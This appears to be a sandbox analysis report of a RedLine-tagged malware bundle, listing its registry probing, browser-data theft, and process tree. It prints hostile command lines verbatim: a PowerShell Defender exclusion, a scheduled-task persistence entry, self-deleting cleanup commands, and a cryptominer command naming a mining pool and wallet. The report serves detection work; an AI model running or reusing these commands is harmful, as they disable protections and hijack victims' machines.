redline | 56a461a6cc8ad9c10cdc1d19a12d5deceb9ebefb0c871a3fc2eb83c466947a11

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	23650954139.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	23650954139.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3456797065-1076791440-4146276586-1000\Control Panel\International\Geo\Nation	Sun1917b8fb5f09db8.exe

Loads dropped DLL 54 IoCs

pid	Process
956	setup_x86_x64_install.exe
1744	setup_installer.exe
1744	setup_installer.exe
1744	setup_installer.exe
1744	setup_installer.exe
1744	setup_installer.exe
1744	setup_installer.exe
740	setup_install.exe
740	setup_install.exe
740	setup_install.exe
740	setup_install.exe
740	setup_install.exe
740	setup_install.exe
740	setup_install.exe
740	setup_install.exe
992	cmd.exe
2036	Sun1917b8fb5f09db8.exe
2036	Sun1917b8fb5f09db8.exe
1716	cmd.exe
1916	cmd.exe
1916	cmd.exe
1580	Sun19de8ff4b6aefeb8.exe
1580	Sun19de8ff4b6aefeb8.exe
1844	cmd.exe
684	cmd.exe
1400	cmd.exe
1400	cmd.exe
1816	cmd.exe
1804	cmd.exe
2012	cmd.exe
2012	cmd.exe
1748	Sun19eb40faaaa9.exe
1748	Sun19eb40faaaa9.exe
308	Sun1908b94df837b3158.exe
308	Sun1908b94df837b3158.exe
1060	Sun195a1614ec24e6a.exe
1060	Sun195a1614ec24e6a.exe
1160	apinesp.exe
1028	23650954139.exe
1028	23650954139.exe
2116	cmd.exe
2116	cmd.exe
2172	61772882773.exe
2172	61772882773.exe
2192	cmd.exe
2260	76050513516.exe
2260	76050513516.exe
1580	Sun19de8ff4b6aefeb8.exe
2380	cmd.exe
2520	WerFault.exe
2520	WerFault.exe
2520	WerFault.exe
2588	Garbage Cleaner.exe
2588	Garbage Cleaner.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Themida packer 1 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral3/memory/1028-190-0x0000000000020000-0x0000000000021000-memory.dmp	themida

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	23650954139.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
7	ip-api.com
50	ipinfo.io
51	ipinfo.io

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
1028	23650954139.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 4 IoCs

pid	pid_target	Process	procid_target
2520	1748	WerFault.exe	43
2720	2036	WerFault.exe	49
2140	1484	WerFault.exe	94
2844	1868	WerFault.exe	98

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Sun1908b94df837b3158.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Sun1908b94df837b3158.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Sun1908b94df837b3158.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	61772882773.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	61772882773.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

pid	Process
2832	schtasks.exe
1680	schtasks.exe

Delays execution with timeout.exe 2 IoCs

evasion

pid	Process
2608	timeout.exe
1864	timeout.exe

Kills process with taskkill 3 IoCs

evasion

pid	Process
2756	taskkill.exe
1316	taskkill.exe
2636	taskkill.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 040000000100000010000000497904b0eb8719ac47b0bc11519b74d00f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030853000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	Sun19de8ff4b6aefeb8.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	Sun19de8ff4b6aefeb8.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
308	Sun1908b94df837b3158.exe
308	Sun1908b94df837b3158.exe
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1688	powershell.exe
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
308	Sun1908b94df837b3158.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

description	pid	Process
Token: SeDebugPrivilege	1060	Sun195a1614ec24e6a.exe
Token: SeDebugPrivilege	1688	powershell.exe
Token: SeDebugPrivilege	1656	Sun19e4ade31b2a.exe
Token: SeShutdownPrivilege	1228	Process not Found
Token: SeShutdownPrivilege	1228	Process not Found
Token: SeDebugPrivilege	1028	23650954139.exe
Token: SeDebugPrivilege	2520	WerFault.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
1228	Process not Found
1228	Process not Found

Suspicious use of SendNotifyMessage 4 IoCs

pid	Process
1228	Process not Found
1228	Process not Found
1228	Process not Found
1228	Process not Found

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 956 wrote to memory of 1744	956	setup_x86_x64_install.exe	28
PID 956 wrote to memory of 1744	956	setup_x86_x64_install.exe	28
PID 956 wrote to memory of 1744	956	setup_x86_x64_install.exe	28
PID 956 wrote to memory of 1744	956	setup_x86_x64_install.exe	28
PID 956 wrote to memory of 1744	956	setup_x86_x64_install.exe	28
PID 956 wrote to memory of 1744	956	setup_x86_x64_install.exe	28
PID 956 wrote to memory of 1744	956	setup_x86_x64_install.exe	28
PID 1744 wrote to memory of 740	1744	setup_installer.exe	29
PID 1744 wrote to memory of 740	1744	setup_installer.exe	29
PID 1744 wrote to memory of 740	1744	setup_installer.exe	29
PID 1744 wrote to memory of 740	1744	setup_installer.exe	29
PID 1744 wrote to memory of 740	1744	setup_installer.exe	29
PID 1744 wrote to memory of 740	1744	setup_installer.exe	29
PID 1744 wrote to memory of 740	1744	setup_installer.exe	29
PID 740 wrote to memory of 1608	740	setup_install.exe	31
PID 740 wrote to memory of 1608	740	setup_install.exe	31
PID 740 wrote to memory of 1608	740	setup_install.exe	31
PID 740 wrote to memory of 1608	740	setup_install.exe	31
PID 740 wrote to memory of 1608	740	setup_install.exe	31
PID 740 wrote to memory of 1608	740	setup_install.exe	31
PID 740 wrote to memory of 1608	740	setup_install.exe	31
PID 740 wrote to memory of 992	740	setup_install.exe	32
PID 740 wrote to memory of 992	740	setup_install.exe	32
PID 740 wrote to memory of 992	740	setup_install.exe	32
PID 740 wrote to memory of 992	740	setup_install.exe	32
PID 740 wrote to memory of 992	740	setup_install.exe	32
PID 740 wrote to memory of 992	740	setup_install.exe	32
PID 740 wrote to memory of 992	740	setup_install.exe	32
PID 740 wrote to memory of 816	740	setup_install.exe	33
PID 740 wrote to memory of 816	740	setup_install.exe	33
PID 740 wrote to memory of 816	740	setup_install.exe	33
PID 740 wrote to memory of 816	740	setup_install.exe	33
PID 740 wrote to memory of 816	740	setup_install.exe	33
PID 740 wrote to memory of 816	740	setup_install.exe	33
PID 740 wrote to memory of 816	740	setup_install.exe	33
PID 740 wrote to memory of 1816	740	setup_install.exe	34
PID 740 wrote to memory of 1816	740	setup_install.exe	34
PID 740 wrote to memory of 1816	740	setup_install.exe	34
PID 740 wrote to memory of 1816	740	setup_install.exe	34
PID 740 wrote to memory of 1816	740	setup_install.exe	34
PID 740 wrote to memory of 1816	740	setup_install.exe	34
PID 740 wrote to memory of 1816	740	setup_install.exe	34
PID 740 wrote to memory of 1716	740	setup_install.exe	35
PID 740 wrote to memory of 1716	740	setup_install.exe	35
PID 740 wrote to memory of 1716	740	setup_install.exe	35
PID 740 wrote to memory of 1716	740	setup_install.exe	35
PID 740 wrote to memory of 1716	740	setup_install.exe	35
PID 740 wrote to memory of 1716	740	setup_install.exe	35
PID 740 wrote to memory of 1716	740	setup_install.exe	35
PID 740 wrote to memory of 2012	740	setup_install.exe	36
PID 740 wrote to memory of 2012	740	setup_install.exe	36
PID 740 wrote to memory of 2012	740	setup_install.exe	36
PID 740 wrote to memory of 2012	740	setup_install.exe	36
PID 740 wrote to memory of 2012	740	setup_install.exe	36
PID 740 wrote to memory of 2012	740	setup_install.exe	36
PID 740 wrote to memory of 2012	740	setup_install.exe	36
PID 740 wrote to memory of 1916	740	setup_install.exe	37
PID 740 wrote to memory of 1916	740	setup_install.exe	37
PID 740 wrote to memory of 1916	740	setup_install.exe	37
PID 740 wrote to memory of 1916	740	setup_install.exe	37
PID 740 wrote to memory of 1916	740	setup_install.exe	37
PID 740 wrote to memory of 1916	740	setup_install.exe	37
PID 740 wrote to memory of 1916	740	setup_install.exe	37
PID 740 wrote to memory of 1096	740	setup_install.exe	53

C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe
"C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:956
- C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
  "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:1744
- - C:\Users\Admin\AppData\Local\Temp\7zS0D64B5F2\setup_install.exe
    "C:\Users\Admin\AppData\Local\Temp\7zS0D64B5F2\setup_install.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:740
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
      4⤵
      PID:1608
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1688
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun1917b8fb5f09db8.exe
      4⤵
      Loads dropped DLL
      PID:992
    - - C:\Users\Admin\AppData\Local\Temp\7zS0D64B5F2\Sun1917b8fb5f09db8.exe
        
        Sun1917b8fb5f09db8.exe
        5⤵
        Executes dropped EXE
        Checks computer location settings
        Loads dropped DLL
        
        PID:2036
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2036 -s 1340
        6⤵
        Program crash
        
        PID:2720
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun19262b9e49ad.exe
      4⤵
      PID:816
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun193fda712d9f1.exe
      4⤵
      Loads dropped DLL
      PID:1816
    - - C:\Users\Admin\AppData\Local\Temp\7zS0D64B5F2\Sun193fda712d9f1.exe
        
        Sun193fda712d9f1.exe
        5⤵
        Executes dropped EXE
        
        PID:268
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun19e4ade31b2a.exe
      4⤵
      Loads dropped DLL
      PID:1716
    - - C:\Users\Admin\AppData\Local\Temp\7zS0D64B5F2\Sun19e4ade31b2a.exe
        
        Sun19e4ade31b2a.exe
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:1656
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun1908b94df837b3158.exe
      4⤵
      Loads dropped DLL
      PID:2012
    - - C:\Users\Admin\AppData\Local\Temp\7zS0D64B5F2\Sun1908b94df837b3158.exe
        
        Sun1908b94df837b3158.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Checks SCSI registry key(s)
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: MapViewOfSection
        
        PID:308
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun19de8ff4b6aefeb8.exe /mixone
      4⤵
      Loads dropped DLL
      PID:1916
    - - C:\Users\Admin\AppData\Local\Temp\7zS0D64B5F2\Sun19de8ff4b6aefeb8.exe
        
        Sun19de8ff4b6aefeb8.exe /mixone
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Modifies system certificate store
        
        PID:1580
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c start /I "" "C:\Users\Admin\AppData\Local\Temp\{AYtE-AZwRu-gZm6-d1COY}\23650954139.exe"
        6⤵
        
        PID:1160
        
        C:\Users\Admin\AppData\Local\Temp\{AYtE-AZwRu-gZm6-d1COY}\23650954139.exe
        
        "C:\Users\Admin\AppData\Local\Temp\{AYtE-AZwRu-gZm6-d1COY}\23650954139.exe"
        7⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Loads dropped DLL
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of AdjustPrivilegeToken
        
        PID:1028
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c start /I "" "C:\Users\Admin\AppData\Local\Temp\{AYtE-AZwRu-gZm6-d1COY}\61772882773.exe" /mix
        6⤵
        
        PID:2116
        
        C:\Users\Admin\AppData\Local\Temp\{AYtE-AZwRu-gZm6-d1COY}\61772882773.exe
        
        "C:\Users\Admin\AppData\Local\Temp\{AYtE-AZwRu-gZm6-d1COY}\61772882773.exe" /mix
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        Checks processor information in registry
        
        PID:2172
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c rd /s /q C:\Users\Admin\AppData\Local\Temp\pfgiBpqqRCC & timeout 4 & del /f /q "C:\Users\Admin\AppData\Local\Temp\{AYtE-AZwRu-gZm6-d1COY}\61772882773.exe"
        8⤵
        
        PID:2368
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout 4
        9⤵
        Delays execution with timeout.exe
        
        PID:2608
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c start /I "" "C:\Users\Admin\AppData\Local\Temp\{AYtE-AZwRu-gZm6-d1COY}\76050513516.exe" /mix
        6⤵
        Loads dropped DLL
        
        PID:2192
        
        C:\Users\Admin\AppData\Local\Temp\{AYtE-AZwRu-gZm6-d1COY}\76050513516.exe
        
        "C:\Users\Admin\AppData\Local\Temp\{AYtE-AZwRu-gZm6-d1COY}\76050513516.exe" /mix
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:2260
        
        C:\Users\Admin\AppData\Roaming\sliders\apinesp.exe
        
        apinesp.exe
        8⤵
        Loads dropped DLL
        
        PID:1160
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c start /I "" "C:\ProgramData\Garbage Cleaner\Garbage Cleaner.exe"
        6⤵
        Loads dropped DLL
        
        PID:2380
        
        C:\ProgramData\Garbage Cleaner\Garbage Cleaner.exe
        
        "C:\ProgramData\Garbage Cleaner\Garbage Cleaner.exe"
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:2588
        
        C:\ProgramData\Garbage Cleaner\Garbage Cleaner.exe
        
        "C:\ProgramData\Garbage Cleaner\Garbage Cleaner.exe"
        8⤵
        
        PID:3000
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im "Sun19de8ff4b6aefeb8.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\7zS0D64B5F2\Sun19de8ff4b6aefeb8.exe" & exit
        6⤵
        
        PID:2476
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im "Sun19de8ff4b6aefeb8.exe" /f
        7⤵
        Kills process with taskkill
        
        PID:2636
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im "setup.exe" /f
        8⤵
        Kills process with taskkill
        
        PID:2756
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun19eb40faaaa9.exe
      4⤵
      Loads dropped DLL
      PID:1400
    - - C:\Users\Admin\AppData\Local\Temp\7zS0D64B5F2\Sun19eb40faaaa9.exe
        
        Sun19eb40faaaa9.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:1748
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1748 -s 936
        6⤵
        Loads dropped DLL
        Program crash
        Suspicious use of AdjustPrivilegeToken
        
        PID:2520
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun1905815e51282417.exe
      4⤵
      PID:1556
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun195a1614ec24e6a.exe
      4⤵
      Loads dropped DLL
      PID:684
    - - C:\Users\Admin\AppData\Local\Temp\7zS0D64B5F2\Sun195a1614ec24e6a.exe
        
        Sun195a1614ec24e6a.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of AdjustPrivilegeToken
        
        PID:1060
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun1966fb31dd5a07.exe
      4⤵
      Loads dropped DLL
      PID:1844
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun198361825f4.exe
      4⤵
      Loads dropped DLL
      PID:1804
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun191101c1aaa.exe
      4⤵
      PID:1096
    - - C:\Users\Admin\AppData\Local\Temp\7zS0D64B5F2\Sun191101c1aaa.exe
        
        Sun191101c1aaa.exe
        5⤵
        
        PID:2792
      - C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
        
        "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
        6⤵
        
        PID:2272
        
        C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"
        7⤵
        
        PID:952
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
        8⤵
        Loads dropped DLL
        
        PID:2116
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
        9⤵
        Creates scheduled task(s)
        
        PID:2832
        
        C:\Users\Admin\AppData\Roaming\services64.exe
        
        "C:\Users\Admin\AppData\Roaming\services64.exe"
        8⤵
        
        PID:1880
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
        9⤵
        
        PID:3064
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
        10⤵
        Creates scheduled task(s)
        
        PID:1680
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
        9⤵
        
        PID:2660
        
        C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=41o1Bi5waqLgbkV653RD7zSYeXSWRu1wnEDzPgFDFwntSnuRx7g4HbHPqNDGS6BW1bget6yyHyrPbBcVsdR6Ebxd843bMuK.add/password --pass= --cpu-max-threads-hint=30 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6O4DG/ZgkwoY7/pmBv4ks3wJ7PR9JPsLklOJLkitFc6Y" --cinit-idle-wait=5 --cinit-idle-cpu=70 --tls --cinit-stealth
        9⤵
        
        PID:972
        
        C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe"
        7⤵
        
        PID:2400
        
        C:\Users\Admin\AppData\Local\Temp\2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\2.exe"
        7⤵
        
        PID:1484
        
        C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 1484 -s 1432
        8⤵
        Program crash
        
        PID:2140
        
        C:\Users\Admin\AppData\Local\Temp\setup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\setup.exe"
        7⤵
        
        PID:1872
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im "setup.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\setup.exe" & exit
        8⤵
        
        PID:2636
        
        C:\Users\Admin\AppData\Local\Temp\udptest.exe
        
        "C:\Users\Admin\AppData\Local\Temp\udptest.exe"
        7⤵
        
        PID:2572
        
        C:\Users\Admin\AppData\Local\Temp\5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\5.exe"
        7⤵
        
        PID:1868
        
        C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 1868 -s 1432
        8⤵
        Program crash
        
        PID:2844
        
        C:\Users\Admin\AppData\Local\Temp\LivelyScreenRecF18.exe
        
        "C:\Users\Admin\AppData\Local\Temp\LivelyScreenRecF18.exe"
        7⤵
        
        PID:2416
        
        C:\Users\Admin\AppData\Local\Temp\setup_2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\setup_2.exe"
        7⤵
        
        PID:820
        
        C:\Users\Admin\AppData\Local\Temp\is-R9D2L.tmp\setup_2.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-R9D2L.tmp\setup_2.tmp" /SL5="$302BA,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe"
        8⤵
        
        PID:1480
        
        C:\Users\Admin\AppData\Local\Temp\setup_2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT
        9⤵
        
        PID:2372
        
        C:\Users\Admin\AppData\Local\Temp\3002.exe
        
        "C:\Users\Admin\AppData\Local\Temp\3002.exe"
        7⤵
        
        PID:2676
        
        C:\Users\Admin\AppData\Local\Temp\3002.exe
        
        "C:\Users\Admin\AppData\Local\Temp\3002.exe" -a
        8⤵
        
        PID:940
        
        C:\Users\Admin\AppData\Local\Temp\jhuuee.exe
        
        "C:\Users\Admin\AppData\Local\Temp\jhuuee.exe"
        7⤵
        
        PID:2124
        
        C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe"
        7⤵
        
        PID:2592

C:\Users\Admin\AppData\Local\Temp\7zS0D64B5F2\Sun198361825f4.exe
Sun198361825f4.exe
1⤵
- Executes dropped EXE
PID:436

C:\Users\Admin\AppData\Local\Temp\7zS0D64B5F2\Sun1966fb31dd5a07.exe
Sun1966fb31dd5a07.exe
1⤵
- Executes dropped EXE
PID:1320

C:\Users\Admin\AppData\Local\Temp\BF1.exe
C:\Users\Admin\AppData\Local\Temp\BF1.exe
1⤵
PID:2228

C:\Users\Admin\AppData\Local\Temp\588C.exe
C:\Users\Admin\AppData\Local\Temp\588C.exe
1⤵
PID:2632

C:\Users\Admin\AppData\Local\Temp\A4C8.exe
C:\Users\Admin\AppData\Local\Temp\A4C8.exe
1⤵
PID:2480

C:\Users\Admin\AppData\Local\Temp\FAD5.exe
C:\Users\Admin\AppData\Local\Temp\FAD5.exe
1⤵
PID:2052
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /im FAD5.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\FAD5.exe" & del C:\ProgramData\*.dll & exit
  2⤵
  PID:3040
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /im FAD5.exe /f
    3⤵
    - Kills process with taskkill
    PID:1316
- - C:\Windows\SysWOW64\timeout.exe
    timeout /t 6
    3⤵
    - Delays execution with timeout.exe
    PID:1864

C:\Users\Admin\AppData\Local\Temp\is-C4SOB.tmp\setup_2.tmp
"C:\Users\Admin\AppData\Local\Temp\is-C4SOB.tmp\setup_2.tmp" /SL5="$202C6,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT
1⤵
PID:2964

